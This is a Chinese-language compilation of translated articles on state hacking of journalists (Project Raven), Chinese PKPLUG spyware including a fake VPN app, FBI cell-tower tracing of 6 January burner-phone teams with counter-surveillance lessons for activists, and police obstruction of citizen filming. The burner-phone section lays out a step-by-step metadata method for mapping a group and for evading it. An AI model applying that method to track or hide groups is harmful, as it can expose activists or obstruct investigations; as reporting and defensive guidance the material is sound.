一旦目标的在线生活被映射出来，“你就可以将这些信息与 [计算机] 漏洞利用”配对，这些漏洞来自 **DarkMatter** 的“内部漏洞利用储存库”。

⚠如果客户“真的想干的更狠点”，Project Raven 会从第三方购买漏洞，包括所谓的零日漏洞。

这种攻击特别危险，难以防范。一旦中招此类漏洞可能会授予对目标计算机的持久访问权限。

根据 Cole 的说法，攻击记者通常是达到目的的手段而不是目标本身。

“如果来自 The Intercept 的人正在与他们的消息来源进行对话，跟踪 Intercept 的目标就可以找到消息来源。Project Raven 骇客经常通过初始消息冒充潜在的消息来源或支持者，以建立与攻击目标的融洽关系，只为稍后将陷阱埋在里面。”

准确说他们的终极目标是透明度革命中的爆料人。

⚠“一旦你获得了信任，你就可以将[恶意]文件注入进去 ……如果你以安全的方式建立通信，那么可能会有人会开启漏洞利用。”

如果目标前往阿联酋，Project Raven 将利用他们的“主场优势”，⚠有时甚至会直接闯入目标的酒店房间，消息来源解释说：“如果目标在国内，我们只需要去和服务提供商打个招呼就行了，‘嗨我需要访问…’。或者直接入侵目标在酒店的无线接入”。

该消息来源说，⚠Project Raven 要求阿联酋国家安全部门的间谍“假扮成维修工，在你住的酒店里，悄悄将你的笔记本电脑充电器换成看起来很相似的充电器”（恶意女仆攻击），以便入侵目标的设备。

Project Raven 针对美国或其他国家新闻记者的做法在路透社的报道中已经披露，该报告提到在阿布扎比的 DarkMatter 总部“攻击目标列表中有三个……美国名字”。这些名字尚未确定。

“2012年，DarkMatter 的主要目标之一是 Rori Donaghy ……一位英国记者和人权活动家，撰写了批评该国人权记录的文章。”NESA analysts and DarkMatter personnel discussed targeting The Intercept at a property in this neighborhood of Abu Dhabi’s Khalifa City, a private residential suburb whose rental villas are popular among business executives and expats. Photo illustration: Soohee Cho/The Intercept, Google Map

美国人

消息来源说，虽然他们个人拒绝帮助瞄准美国个人和组织，但是这项工作最终以这种或那种方式完成了。

“不幸的是，当你已经生成一个攻击目标列表并且你正在和一个老虎团合作时，我随时可以说我自己没有攻击列表上某个人，但是团队里其他人做了”。

消息来源说，普遍的感觉是，“这个就他妈的是客户现在要的人，我们需要这样做。客户不关心公民身份是什么。”

从事针对非美国目标的类似行动的 Cole 表示，他并没有参与或直接了解针对美国人或美国计算机系统攻击的行为，但是他回忆起当时有关美国同事对这些努力的警告。

Cole 还表示，他担心美国人会成为美国援助黑客的目标，尽管上述人士保证，“有关美国公民的任何信息被吸入该集团的骇客入侵数据库是偶然的”。

Cole 说，他现在认为这种收集是故意的，并且 Raven 项目的领导

层“错误地声称”美国政府已经知道任何对美国人的所谓偶然监视，并且这些数据经常被从 DarkMatter 计算机中清除。

他说，“我怀疑了一段时间，我正在关注这件事。我的理解是[被收集的美国人数据]被传达回美国情报机构。这就是我们当时所认为的，但我们后来发现这是一个谬误。”

“总有不同的理由和借口，” **Cole** 说，就如承诺清除美国人的数据却未能实现。“我被告知的事和我观察到的事完全相反。”

Cole 认为，同样令人担忧的是美国人在 Project Raven 中的角色转变。

他们表面上出现在 DarkMatter 的阿布扎比别墅中进行培而。在实践中，出于法律原因，这意味着他们会根据指导方针给出非常具体的指示，他们可以做“除了键盘工作的一切”。

他们 “提供步骤和说明”，用于在不亲自执行任何步骤的情况下攻击 **NESA** 想要的任何目标。全球范围内。

根据熟悉 DarkMatter 关于针对 Intercept 的讨论的第二个消息来源说，即使当美国公民不是明确的目标时，合法性问题也一直是对 DarkMatter 的长期担忧;

入侵居住在美国的非美国公民的 Facebook 或 Gmail 帐户仍然意味着可能破坏在美国的服务器。

路透社的报道还显示，美国国家安全局虽然没有直接参与 **DarkMatter** 的日常运营，但是，“已批准并定期听取 **Raven** 的活动简报。”

针对记者的攻击只是美国人被 Project Raven 攻击或监视的众多方式之一，Cole 和消息来源说。

连线电视杂志、国际特赦组织、和人权观察组织，也很可能成为攻击目标 —— 在 **NESA** 等阿联酋客户的要求下。他们告诉 Intercept，但无法回想起细节。○

TEAM OF AMERICAN HACKERS AND EMIRATI SPIES DISCUSSED ATTACKING THE INTERCEPT

原文

自2013年以来，由国家资助的中国黑客一直在瞄准东南亚 - iYouPort

中国-半壁高堡奇人政府的间谍行为维稳面面观

您以为自己下载的是VPN，但事实上那是一个间谍软件 …… 这是来自中国的攻击者使用的手段

「图」

「图」

研究人员透露，一些未公开的来自中国的攻击者自2013年以来在东南亚地区至少开展了六次不同的网络间谍活动。

Palo Alto Networks 威胁情报小组 Unit 42 披露的调查结果将这些攻击与一个名为 PKPLUG 的组织联系在一起，该组织的名字来自于其在ZIP文件中传送 PlugX 恶意软件，并带有签名“PK”。

Unit 42 表示，其归因含糊不清是因为“我们目前的可见度无法让我们高度确定这是一个小组的工作，还是使用相同工具、执行相同任务的多个小组的协同工作”。

PKPLUG 被发现可以在受害者的系统（包括移动设备）上安装后门特洛伊木马植入程序，以跟踪和收集信息，尽管其最终动机尚不清楚。

该攻击组织的主要目标包括缅甸、台湾、越南、印度尼西亚，以及蒙古、西藏和新疆，后者均以与中国的有争议的关系而闻名。

特别是新疆，是该国维吾尔族穆斯林少数民族的家园。近年来，维吾尔族穆斯林一直受到迫害和加强的监视。

- 《开源调查图解新疆”再教育”营》

Unit 42 的 Alex Hinchliffe 说：“这个攻击小组（或多个小组）拥有悠久的历史，并且创建了一系列定制工具，这意味着它们具有持久性和

丰富的资源。”

“例如，自定义 Android 恶意软件的创建和使用[...]可能表明其目标需要基于大众所普遍使用的操作系统、或需要的功能。这个小组很有耐心。”

PKPLUG 操作方式

Unit 42 的报告结合了自己的研究成果和 Blue Coat Labs 及 Arbor Networks 等其他网络安全公司发布的研究成果，汇总了 PKPLUG 基于恶意软件的策略、技术和程序（TTP）的时间表。

据说最早的 PKPLUG 攻击是在2013年11月发生的，当时他们被发现使用 PlugX 恶意软件针对蒙古人。

三年后，他们再次被发现使用 Poison Ivy 恶意软件针对缅甸和其他亚洲国家的人。

同年，Unit 42 报告了通过鱼叉式网络钓鱼电子邮件的攻击，其中电子邮件用于下载托管在 Google 云端硬盘上的ZIP文件，该文件加载了木马程序以破坏受害者的设备。

在2018年初，该公司发现了一个名为 HenBox 的新恶意软件家族，⚠它伪装成合法的 **Android** 应用程序，主要针对维吾尔族人并针对性危害小米设备，目的是捕获打入中国的外来电话、并访问手机的麦克风和摄像头。

值得注意的是 PKPLUG 邪恶的另一招，以诱使毫无戒心的用户：攻击者使间谍软件在第三方 **Android** 应用商店上可用，⚠甚至冒充名为 **DroidVPN** 的**VPN**应用来诱使用户下载。

「图」

「图」

VPN 应用程序是中国公民绕过防火墙的最常见方式，而且，它们被用作攻击媒介的事实表明，⚠网络犯罪分子越来越倾向于"依靠用户对与安全相关的应用程序的信任"来安装恶意软件。

快进到2019年2月，Unit 42 发现了该攻击组织对 Windows 已知后门程序 Farseer 的使用，该后门程序利用侧载库来安装恶意有效载荷——一种将其不同活动连接在一起的常用技术。

该研究指出，PKPLUG 对域名和IP地址的重用也有助于加强不同网络攻势之间的重叠。

端点安全性的需求

去年10月，Check Point Research 披露了由一个名为 Rancor 的中国骇客组织针对东南亚进行的类似数据窃取活动，此后 PKPLUG 精心策划的网络间谍攻击的细节才被曝光。

当被问及这些国家赞助的恶意行为者是否可以协同工作以大规模开展有针对性的攻击行动时，Hinchliffe 表示："我们已经看到像俄罗斯这样的民族国家可以雇用各种团体来发动攻击，尽管在这种情况下有可能，但我们目前没有足够的数据来验证这种假设。"

除了避免从第三方 Android 商店下载应用程序外，Hinchliffe 还建议企业保护其网络端点，并通过限制设备对网络的访问来评估其 BYOD（"自带设备"的缩写）策略。

尽管这项最新研究可以一窥 PKPLUG 的活动，但远非定论。

"也许还需要更多的案例研究。对 PKPLUG 等威胁性组织的了解越多，防御的方向就会越完整"，Hinchliffe 说。〇

State-sponsored Chinese hackers have been targeting Southeast Asia since 2013

原文

警察/间谍如何定位抓捕抗议者：连锅端的标准操作模式 - iyouport

维稳面面观

简单说就是，只要他们能抓住你们中的一个人，就能抓住你们所有人。不幸的是，常规的安全防护技巧有可能不起作用。

【声明】本文只是一个最基本的连锅端操作模型；在实际操作上，警察和间谍所做的很可能比这里能说明的部分更加深入和恐怖，这取决于他们的预算，也取决于他们的技术能力 —— 但是，鉴于全世界最高端的监控追踪技术一直在源源不断流入专制国家（在我们的列表-4 “高堡奇人” 中看到具体案例汇总），于是，建议您始终高估、而不是低估，您自己国家政府的监视追逐能力。

尤其是，本文中完全没有使用任何高端追踪技术，就已经做到连锅端一个团队，每一个使用手机的人都应该了解这些。

首先，作为基本知识：

1、现在，几乎所有人都应该知道一个常识，即 任何重要的活动都不应该使用手机完成；请注意，我们并没有说 “智能手机”，而是手机，这意味着包括一切移动设备，不管它有没有**GPS**和应用程序等功能。当然，“智能手机” 是最危险的，不论是参与敏感聚会、与重要的人联络、还是保存重要信息等等需求，您都不应该使用智能手机。

如果您还不了解这一危险性，建议您仔细阅读以下内容：

- 《警察如何利用抗议者的手机追踪每个人》
- 《手机应该有且只有一个用途：在敌对环境中保护自己（3）》
- 《你的手机如何背叛了民主？》
- 《你的手机就是秘密监视设备—Snowden访谈视频》
- 《智能手机本身就是不安全的东西》
- 《1200万部电话，一个数据集：利维坦眼中的世界》

- 《警察查手机的东西长什么样？—— 从技术角度看移动设备取证》
- 《到底有没有无法被监听的电话？：变得难以被追踪的简单方法（8）》

……还有更多

2、一次性手机（或者叫刻录机电话/燃烧器电话）即 一次性使用的和侵入性较小的设备。在大多数情况下都被建议为敏感活动使用。但是，您不仅需要知道，错误的使用将使它的匿名功能失败；并且您还要知道，如下文中即将介绍的，即便您正确地使用了，刻录机电话依旧能成为连锅端的灾难。

3、我们经常说创造力才是行动者最强大的武器，这点非常重要；这意味着您不论通过哪种渠道获得行动技巧方面的学习，都不应该照搬和模仿；因为，您可以确信，全世界一切曾经被使用过的技巧都已经有了相应的反制措施，而您的对手整天都在研究您，他们会尽可能全面地想象您可以使用的任何技巧，以为打击您做好准备。

于是，您的最大胜算取决于，您是否能想到您的对手想不到的事，是否能做到出乎他们的意料，让他们措手不及。否则，对您的镇压将像应激反应一样容易。

这就是“模式”的陷阱 —— 您的行动不应该或至少需要尽可能少地具有已知的模式。

这个故事再次强调了上述3点常识的重要性。

1月6日国会大厦暴动的故事至今仍然“继续”；甚至一些评论者已经厌烦，虽然这其中几乎很少有人会严肃讨论最关键的问题，比如认识论政变。但依旧能从相关讨论中挖到一些有意义的和对我们有价值的想法。托米·T·阿霍宁对联邦调查局间谍的抓捕方式的分析，就是这样的信息。

我和您一样，完全不关心极右翼暴徒，但我们也都知道，同一套方法可以抓住任何人，这仅仅取决于警察和间谍想要抓谁。于是，现在您知道该如何理解本文的要点了。

总检察长默里克·加兰昨天提到了“新”的取证方法，以抓捕1月6日的叛乱分子，这些方法在 2003 年之前并不常用。其中一个被提及的方法是手机信号塔数据。那么，间谍们会如何使用这一方法？

1、线索（切入点）

「图」

间谍在抗议现场抓到了一个人，之所以抓他是因为此人穿着/佩戴着目标组织的服饰或徽章。

在这个故事中就是，联邦调查局在国会大厦抓到了一名穿着极右翼民兵组织“誓言守护者”服装的男子。他手无寸铁，声称自己是一个人，是个“游客”，并且他提供了正确的身份证件。他被抓到的时候身上没有手机。

就是他穿的这身衣服，成为了整个连锅端的入手点。

联邦调查局对此人进行了审问。

当联邦调查局问此人他的手机在哪里时，他说他把手机忘在车里了。于是间谍问，他的车在哪儿。他说他把车子停在了杜勒斯国际机场长期停车场。

联邦调查局问他是否可以搜查他的车，他说不行，“你需要搜查令”。现在间谍们没有搜查令，于是他们就把此人控制住了。

2、追踪

「图」

现在，间谍的任务是，验证这个被捕者究竟是和誓言守护者组织在一起行动的，还是如他所言只是一个人在逛国会大厦。

取证团队转向蜂窝塔数据。请注意，在1月6日期间出现在附近的每一部手机都会被记录下来，甚至短暂打开过的手机也包括在其中。

这里所说的每部手机就是指每一部手机，无论是智能手机还是普通手机 —— 根本不必具有 GPS 功能；也就是说，就算您关闭了跟踪功能，在此也无济于事。只要有人可以给你打电话或发短信，网络就知道你的手机在那个目标区域内。

这里的猜测是，在骚乱期间，国会大厦内或附近有大约 34,000 部电话在开机。有一个过程叫做三角测量，网络通过三角测量大致知道你在哪里，大约一个街区的准确度。

通过三角测量，取证小组可以筛除掉所有参加了那次 MAGA 集会但没有进入国会大厦的人。这就留下了大约 11,000 部手机。 那些在国会大厦工作的人在1 月6日前后几天使用手机的数据记录都被同样筛除掉了。

几乎任何在国会大厦工作的人都会有 2 部电话（一部工作用，一部私人）。筛除那些。

工作人员的总数是4,000; 4,000 x 2 ＝ 8,000。做减法，于是现在还剩下3000部手机。然后，调用在那天被获准进入国会大厦的访客名单，看时间，删除在事发之前到达的人。

移除在国会大厦被攻破之前到达国会大厦的所有访客，这总共是 1,000 部手机；于是现在还剩下 2,000 部手机。

然后从中筛除警察的手机。调用注册信息，500 部手机是在 DC 和马里兰州警察处注册的，减去500。现在还剩下 1,500 部手机。

于是这 1,500 部手机就是由闯入国会大厦的暴徒携带的。这些人中的大多数都不是誓言守护者、骄傲男孩等组织的武装分子。比如说其中有 800 人是加入袭击国会大厦的 MAGA 支持者，而 300 名是有组织的武装分子。

下一步就是，更深入地研究电信流量取证。

800 个 “普通” 的 MAGA 支持者平均携带 1.5 部手机（800 x 1.5 ＝ 1,200 部手机）；有组织的武装分子没有携带自己的手机，他们携带的是 “刻录机电话” 。

于是进入 “模式” 判断。

一个普通的MAGA支持者会以正常的方式使用自己的普通手机。在过去几周里，他们每天都在手机上定期打电话/发短信。一个 “正常” 的人会在特朗普演讲期间打电话，并从国会大厦内部、在南希佩洛西的办公桌上发送照片。

刻录机电话的流量则完全不同 —— 它在**1**月**6**日之前从未被使用过。任何电话或短信都很短。这样的手机只使用了几个小时，然后就永远消失了。于是从模式中可以看出，哪些是刻录机电话，哪些是普通手机。

当取证筛除了 “正常” 的手机流量（1,200 个）时，就识别并抓获了

800 名闯入国会大厦、破坏、盗窃的 “普通” MAGA支持者；于是进而留下了 300 部刻录机电话，这些手机属于 Proud Boys、Oath Keepers 等武装分子。

现在间谍们的工作就是，区分这些群体。

Proud Boys 的激进分子在 1 月 6 日期间不会以任何方式使用他们刚拿到手的刻录机电话与 Oath Keepers、Boogaloo Boys 或 Three Percenters 等其他任何人互动。这些是仅当天 “使用一次” 的手机。

通常情况下，可以说 7 个人的誓言守护者成员中的一个不会在那天使用那一组已经在前述中被定位的刻录机电话与此 7 个人之外的任何人联系。外面没有人。他们那天使用该手机就是为了行动，他们不会联系自己的妻子，也不会联系最好的朋友。他们也不会联系其他誓言守护者团体。

【注：这里是与反抗运动中的亲密团队不同的地方。亲密团队有可能需要在行动中联系其他亲密团队，以维持协调性。但这种情况也不会太多，因为每个亲密团队的组织者/代表在行动之前都应该已经协调完成；行动中各团队组织者负责管理本团队内部。但我们依旧对阿霍宁所认为的 “不会联系其他誓言守护者团体” 这一模型有所怀疑。】

“军事任务”类型的通信是非常具体的模式，即：一位领导者，其他人跟随，听从指挥。“命令” 是从领导者到团队成员的；通常团队成员只接收，不回应；很多时候发送的是单字的文本消息（有具体所指的文字或数字，事先协定好的暗号）。

所以，现在，拿起第一个只接听电话或只接收消息但没有拨打电话或发送短信的手机。看看是谁在给这个手机发送消息，此人就是该团队的领导者。现在看看此领导者的电话流量：你就可以找到整个团队，所有成员。

通过所有剩余的 300 个电话号码，已经可以确定每个激进组织中的每个团队里可能有 5 到 11 名成员；并且已经可以确定每个团队的每个领导者的电话是哪一部。

然后就是，把这些点连接起来。从捕获的特定目标人的手机开始 ——「此人是一个 Boogaloo Boy 成员，这是他的电话号码，他在我们找出的团体名单中的哪个位置？嗯，在这里；这是一个 6 人的团队」。然后调出监控视频，其他团队成员的身份就有了。

大多数团队都是这样被找到的，因为在大多数情况下，团队中至少会有 1 名成员因手机被暴露。剩下的几个团队的成员没有被捕获的手机，但是间谍依旧知道他们在特定时间在哪里。于是这只是更多的调取监控视频和身份匹配的工作。

3、深入模式

「图」

现在回到最初的 FBI 审讯。 联邦调查局把那个嫌疑人锁了起来，拿到搜查令，然后闯入他的车。

间谍们找到了他的个人智能手机。打开发现手机电池几乎是充满的。也就是说，如果这个嫌疑人真的只是把手机 “忘在” 车里了，那么在间谍们在申请搜查他的车的搜查令的这几天里，那部手机的电池应该已经耗尽了。但是现在这部手机的电池电量接近满。这说明嫌疑人在进入国会大厦之前就关掉了他的手机。

于是间谍们可以认为这意味着此人知道自己有罪。无论如何，间谍们拿到了此人过去几个月常规智能手机记录的传票，可以看到他一直在与其他 3 名誓言守护者交流，这3人也被发现出现在国会大厦，巧合的是，这些人也都没有携带自己的手机。

接下来**FBI**看到了有趣的手机使用模式：所有 4 部手机都在 1 月 5 日下午晚些时候被关闭，非常接近同一时间；以及，在这些手机被关闭后大约 1 小时，一组没有被匹配身份的手机暂时被打开。

那组 7 部刻录机电话在同一个汽车旅馆中全部被打开。每部打开的时间大约 5 分钟。于是可以推测，就在那时，这群誓言守护者成员检查了自己的设备，每个人都验证了自己拿到的设备（刻录机电话）可以正常工作。

然后，间谍带着4 名誓言守护者成员的照片到了那个汽车旅店，让店主确定了其中的 2 个人。看看是谁支付了汽车旅馆房间的费用。

结果是：现金支付 —— 这就是调查的死胡同。

但现在间谍开始追踪剩下的三名成员。他们传唤了其他 3 名成员的电话记录。

通过交叉参考 4 名已知的誓言守护者成员的电话流量，间谍们找到了

其他几名誓言守护者，其中三人在国会大厦的视频中出现，就在前述那4个人附近。

成功。

FBI 追踪到了这些刻录机电话的销售地点：宾夕法尼亚州的 7–11。目标人誓言守护者成员来自弗吉尼亚州。然后跟踪这些手机发现，在手机售出的当天，这 7 人中有两部手机向北行驶到宾夕法尼亚州，然后在边境关闭。

然后在宾夕法尼亚的 Arby 的停车场，7 部刻录机电话被打开，彼此尝试拨打一次电话（未完成通话）。然后7部手机全部关机。此模式显示该团队在为即将准备使用的刻录机电话做测试。

现在间谍已经知道谁是去宾夕法尼亚州购买刻录机电话的两个人了。然后去找该团体的领导者。当七人组在一起时（来自国会暴动的视频）他们没有理由互相打电话，因此当时在用手机的那个人就是他们的幕后领导者。

这个团队的组织者将得到上级的协调（在威拉德酒店“作战室”），其上级将在另一部刻录机电话上进行指挥。跟随视频中的这一组 7 人，会看到他们在一起时哪个人会通过电话交谈。那个人就是该团队的组织者。

4、审讯

「图」

最后，间谍们开始进行认罪协商。让嫌疑人出卖同伴以获得从宽处理。

以上是连锅端如何进行的一点简要的概述。 事实是，五个誓言守护者成员已经认罪了。 5 人中至少有 3 人与联邦调查局合作揭露了其他人。

本文只是一个案例样板，是一个模式框架 —— 同样的方法可以抓到任何人，只要目标人或其身边人携带了手机。再一次强调：是任何手机。

下面我们总结一下经验教训。我们假设这里被瞄准的是追求正义的活动家团队，从本案例的框架中您能学到一些东西：

1、穿什么衣服很重要。

不仅是行动方便和防护性的问题，还有，为了鼓舞士气和强调凝聚力，行动团队经常会鼓励成员穿着或佩戴同样的标志，然而这些标志就很容易成为连锅端的入手点。这就是为什么在我们的“示威参与者指南”中介绍了如何在撤退过程中安全地脱掉衣服。关于衣着问题，见《在街上保持安全：示威参与者指南（12）》。

2、尽可能不要携带任何手机。

手机的确很方便，但请随时衡量您的威胁模型 —— 衡量您是否能承担后果。

事实上您可以使用各种信号作为联络和传输信息的方式，还记得我们曾经介绍过的当年的奴隶们是如何反抗的吗？他们不被允许识字，书写任何东西都是危险的；他们不被允许习武，任何有战斗力的行为都是被禁止的；他们没有互联网，没有加密技术，没有武器，但他们遭受着强大的、无孔不入的和持久的恐怖级监视……但他们依旧成功了，成功地联合起来，准确及时地传递信息。这些经验尤其应该为监视时代的人们所了解，在这里回顾《百年的自由之战：密文作为抵抗的语言》。

3、通信内容并不是重要的。

如今依旧有太多人仅仅警惕窃听，这是远远不够的。事实上窃听并没有那么重要，如果您和队友使用密语对话，窃听者并无法理解。元数据才是真正危险的东西，它暴露了你们之间的关系和行为模式，这是无法掩盖的东西。国安局前负责人臭名昭著的迈克海登将军有句名言：“我们基于元数据杀人”。请永远记得这句话。

- 如果您错过了《直接行动分步指南：它是什么、它有什么用、如何获得成功》

○□

原文

警察如何阻止公民对执法暴力行为取证 - iyouport

反抗者-寻求经验维稳面面观

经验教训中总结出的战术技巧很重要。

去年夏天的一天，Kian Kelley-Chung 穿着一件黑色T恤，上面有他的纪录片和艺术团体的标志，当时他正在拍摄华盛顿特区对抗警察的抗议活动。那是2020年8月13日，Kelley-Chung 几个月来一直在记录该市的BLM示威活动。在亚当斯-摩根社区的这次示威中，他看到一名警察将某人推倒在地—— 他说，当他冲过去拍摄时，他自己也被一名警察推倒。很快，他就被困住了，或者说被 “水壶” 了，和一小群人被围困在一起。

关于什么是水壶《这是一种最可怕的镇压战术：和平抗议者遭遇”水壶”围捕之后》

Kelley-Chung 说，这时一名携带束线带的警官说他必须逮捕某人，然后直接看着他，抓住他，把他从 “水壶” 里拉出来。Kelley-Chung —— 他拍摄的照片曾在《华盛顿邮报》上发表过—— 当时他携带了多件录像设备，还有自己的手机。

如何摆脱束线带，见《如何摆脱手铐、绳索、束线带和布基胶带：在灾难中幸存的方法（*4*）》

他说：“我大声喊道：‘他们正在逮捕一名记者！’。人群中的其他人也响应了 Kelley-Chung 的呼声，但他依然被带到多个分局，在一个小牢房里和一个没有口罩的人呆了数个小时。第二天，他被无罪释放，在同一抗议活动中被捕的其他40人中的大多数也被释放，但警方保留了他的拍摄设备和手机。

如果您错过了，《如何更安全地拍摄警察行为》包括其中关联的文章，那是具体的技巧；以及，《如果您的手机被盗或被警察抢走…》该怎么办

他说，如果他没有获得法律援助，这些设备可能仍被警方扣押。10周后，在全国新闻摄影协会和 First Look Media 的新闻自由保护基金的帮助下，律师们才终于拿回了 Kelley-Chung 的设备。一旦实现了这一目标，他们就起诉警方侵犯公民权利，起诉书指控该区、大都会警察局及其代理局长，以及多名官员和地方官员侵犯了 Kelley-Chung 的隐私和他在第一和第四修正案下的权利。他们在4月就该诉讼达成了和解。Kelley-Chung 获得了一笔 “巨额” 赔偿金。

拍摄警察行为已经成为一种流行的问责工具，它既是必要的也是危险的。因为一个旁观者拍摄的视频，全世界才得以知道明尼阿波利斯警察德里克·肖文谋杀了40多岁的黑人男子乔治·弗洛伊德，在他的脖子上跪了将近9分钟。如果没有17岁的 Darnella Frazier 拍摄的视频，肖文很可能不会被定罪：当警方第一次在新闻声明中描述弗洛伊德的死亡时，他们声称这是 “警察互动过程中发生的医疗事故”。

公民之所以拍摄警察，是因为他们知道警察会伤害或杀害人们并为此撒谎；因为这样做通常属于第一修正案规定的权利；还因为记录与警察的接触可能会让人们感到更安全一些。不能简单地相信警察部门的话，对不当行为或暴力的独立记录视频有时是唯一有能力使警察的错误叙述让位于真相的东西。

但是，正如 Kelley-Chung 所发现的，警察并不是简单地让这种情况发生。尽管拍摄警察通常是合法的，只要不干扰他们的活动，尽管警察自己也越来越多地携带摄像机，但是，警察已经开发出一系列战术来防止他们的行为被公民记录下来。

如果您想知道他们是如何做到的，可以问随便任何一个警察观察者。

“这让警官注意到了”

「图」

哈米德·汗（Hamid Khan）是 “停止洛杉矶警察间谍活动联盟” 的组织者，他是在洛杉矶拍摄警察的一群人之一。警察观察者所做的正是这个术语所暗示的：观察和记录警察的工作。有多个权利组织在洛杉矶培训人们如何安全地拍摄警察和其他城市政府官员工作中的行为，无论是记录抗议活动如何被监控，还是捕捉暴力行为。

汗说，这类培训还包括如何处理警察为阻止自己被拍摄而采取的战术。这些战术包括 “姿势”，或用身体挡住摄像机，以及 “威胁、恐吓、骚扰使用摄像机的人”。

美国公民自由联盟的言论、隐私和技术项目的律师爱默生·赛克斯说："只要警察在公开场合履行职责时被记录下来"，我们相信，许多联邦法院也说，拍摄警察的权利受到第一修正案的保护。这包括美国巡回法院的多项决定，但不包括最高法院，因为最高法院还没有作出决定。然而，最近，第十巡回法院与这一共识相左，在3月底发布了一项决定，拒绝确认第一修正案规定的对警察录音权。

包括加州在内的许多州确实规定，当警察确定拿着相机的旁观者"干扰了调查"时，拍摄警察可能是非法的。虽然对警察在公共场所工作进行拍照和录像的权利是无可争议的，但录音 —— 包括作为录像的一部分—— 可能是一个更棘手的问题。

电子前沿基金会的警察录音指南指出，在美国38个州和哥伦比亚特区有单方同意的窃听法的地方，你可以自由录制音频。在12个有双方同意法的州，一个明显可见的录音设备"能使警官注意到，因此他们的同意可能是默示的"，但警察可能会提出不同的论点。

合理的论点，不合法的情况

「图」

有很多理由可以解释为什么警察不愿意被拍到。约翰杰伊刑事司法学院公共政策助理教授亚当·斯科特·万特（Adam Scott Wandt）说，有些理由比其他理由更容易理解。在一个敏感的事件中，如家庭暴力电话，警官或受害者可能不希望因被旁观者在社交媒体上分享视频而暴露身份。他说，卧底警察也不愿意被拍摄，不愿意自己的身份成为公共记录。

这些可能是合理的担忧，但警察观察者说，他们也看到警察在完全不合法的情况下使用这些论据。

万特在纽约长滩当了四年的警官，当时带摄像头的手机还没有那么普遍，他说现在他是一名教授和摄影师，也经历过这种情况。"有一次，一名警察要求我不要给他拍照"，他说，"他没有做任何事。他站在那里。然后警察对我说，'永远不要给警察拍照'。显然，法律不在他这边"。

多名警察观察者说，他们多次看到警察在完全没有理由的情况下引用干扰，往往是作为一种隐性威胁。汗说，警察"几乎在某种意义上试图创造条件 …… 这样他们就可以表明人们正在干扰他们的工作，你知道，这不是真的"。

倡导无家可归者权利的“洛杉矶街头观察”组织的杰德·帕里奥特说：“我已经被威胁过了”。也有警察告诉他，他所拍摄的无家可归者不希望被拍摄，他的工作是在“侵犯”他们，而他知道，在这个特定的时刻，他的存在是受欢迎的，是被需要的。

“街头观察”组织会在城市的难民营里待上一段时间，记录警察和城市政府官员对待居民的方式，并观察警方的扫荡，这基本上是大规模的驱逐。该权利组织一直支持回声公园湖畔的营地，直到市政府关闭公园进行维修，并将住在那里的几百名无家可归者逐一赶走。在回声公园，当公园管理员与一位年轻的黑人居民争吵，然后将其扑倒时，帕里奥特正在拍摄。

“我当时真的非常非常担心”，他说。“那是一个非常紧张的时刻。但就在这时，护林员把年轻黑人按在地上，当时我就在那里，离他五英尺远，拍下了这一切。我周围的人都在尖叫，大喊。一个环卫工人把他的手放在我的相机镜头前”。他说，然后，一名洛杉矶警察用他的身体挡住了帕里奥特的视线。

洛杉矶警察局发言人劳尔·乔维尔（Raul Jovel）中尉说，该局警察接受了如何处理旁观者录音的培训，这是第一修正案规定的权利，而且该培训会定期重申。乔维尔说，当警察违反这一培训时，该部门的反应各不相同，从提醒公众有权利拍摄到进行人事调查和纪律处分。

他说，当警官认为拿着摄像机的人也在对警察大喊大叫时，他们可能会特别抗拒让有权利拍摄的人继续这样做。“有时作为一名警官，你会想，‘我有权利为自己说话’”，乔韦尔说，“我们要提醒警官的是：我没空教你，但你是一名公务员，这是你的工作的一部分’”。

洛杉矶公园护林员手册中包括一个关于公众成员录音的章节，其中承认这种行为是一种权利，建议护林员“不会禁止或故意干扰这种合法的拍摄”。

赛克斯指出，对于那些记录警察的人来说，还有一种情况是很难驾驭的：当警察寻求查看照片或要求你删除照片时，隐含或明确地暗示如果你服从，你就不会被逮捕。赛克斯说，警察这样做是非法的。查看你的照片或将其作为证据，一般需要有搜查令。他补充说：“即使他们有法官的授权，即使你被逮捕了，他们仍然没有权利删除照片”。

不是每个可能捕捉到警察不当行为的人都会事先接受安全培训。帕里奥特和其他活动家经常分发传单，告知人们他们有权拍摄警察，因为警察会告诉人们他们没有这个权利，而事实上他们有。

如何保持安全

「图」

但即使是合法的，也不总是安全的。去年8月，一位父亲从自己的车里走出来，在他儿子被逮捕的街道对面进行拍摄，结果，被警察喷了胡椒喷雾并戴上了手铐。纪录片导演 Kelley-Chung 说，几年前他第一次体验到这种危险感，当时他和一个朋友在回大学的路上因为一个小原因被拦下。他回忆说，警官把他的朋友拉出车外，对他们没有完全打开车窗感到愤怒。他想拍摄其余的遭遇，但当他伸手到口袋里拿手机时，被另一名警察撞见了。

Wandt 说，不管个别警官的意图是什么，许多人“只是不希望事情被拍到，以防事情发生变故”，他们尤其不希望在发生这种情况时出现在社交媒体的热门视频中。在某些情况下，他们先发制人，试图为一个容易发生暴力的同事打掩护。“有的警察认为自己是战士，在需要使用武力时，他们会使用极端的武力”，Wandt 说，“这些警察显然不希望他们的脸或行动被拍到”。

在记录警察活动时保持安全，需要根据不同的情况采取不同的战术。Kelley-Chung 建议，在公共场所目睹警察暴力的旁观者应该保持一定距离，这样你就不会被指控为“参与者”。如果你被拦下了？在警察接近你的车窗之前，立即让车里的人开始拍摄（伸手到口袋里拿手机也是非常危险的，特别是对有色人种来说，警察会认为你在拿武器）。如果在你所在的地区是合法的，仪表盘摄像头可能是一个替代方案，Wandt 建议。

Wandt 说，尽管手机摄像头可以提供保护，但同样重要的是要记住，“一旦有人开始拍摄逮捕过程，这绝对会改变每个人的情况，从受害者到嫌疑人再到警察。”

美国公民自由联盟的律师赛克斯说：“有法律，有宪法，但还必须有技巧，就是说当你与警察面对面的时候，你会怎么做”。他说，要弄清楚对发出非法命令的警察进行多少反击是“艰难的”，特别是在某些情况下—— 例如，在抗议活动中。

赛克斯说：“当你抗议警察，而警察有武器并站在离你几英尺远的地方时，有一种特殊的风险味道”。

现场经验确实是解读抗议活动中的情况是否安全的唯一途径。但 Kelley-Chung 观察到的一件事是，拍摄警察的摄像机的存在可以保护

其他人免受不当行为的影响。

他说："当你看到人们与警察发生口头争执时，尽可能地靠近，那台摄像机可能比战术背心更能起到保护作用"。

在任何情况下，和我们交谈的每个人都提到了相同的注意事项：不要干涉警察的行动。当警察告诉你走开时，你要服从，但你不必走开后停止拍摄，即使他们声称你必须停止拍摄，只要你是在记录警察在公共场所执行任务的情况，你就是有权利的。

